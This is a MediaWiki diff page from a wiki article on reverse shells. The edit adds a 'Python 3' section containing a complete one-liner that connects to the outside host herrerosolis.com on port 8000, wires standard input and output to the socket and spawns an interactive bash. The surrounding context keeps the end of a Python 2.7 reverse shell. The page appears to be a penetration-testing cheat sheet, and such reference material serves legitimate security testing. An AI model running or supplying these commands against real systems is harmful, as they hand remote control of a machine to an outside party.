Changes
Jump to navigation
Jump to search
← Older edit
Newer edit →
Reverse Shells
(edit)
Revision as of 08:20, 17 September 2025
258 bytes added
,
17 September
m
→Python 2.7 (Linux)
Line 28:
Line 28:
os.dup2(s.fileno(),2)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
p=subprocess.call(["/bin/sh","-i"])
+
</syntaxhighlight>
+
+
== Python 3 ==
+
<syntaxhighlight lang="bash">
+
python3 -c 'import socket,os,pty; s=socket.create_connection(("herrerosolis.com",8000)); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; os.putenv("TERM","xterm-256color"); pty.spawn("/bin/bash")'
</syntaxhighlight>
</syntaxhighlight>
Rafahsolis
Bureaucrats
,
Administrators
2,306
edits
Navigation menu
Personal tools
Not logged in
Talk
Contributions
Create account
Log in
Namespaces
Page
Discussion
Variants
Views
Read
Edit
View history
More
Search
Navigation
Main page
Recent changes
Random page
Help about MediaWiki
Tools
Special pages
Printable version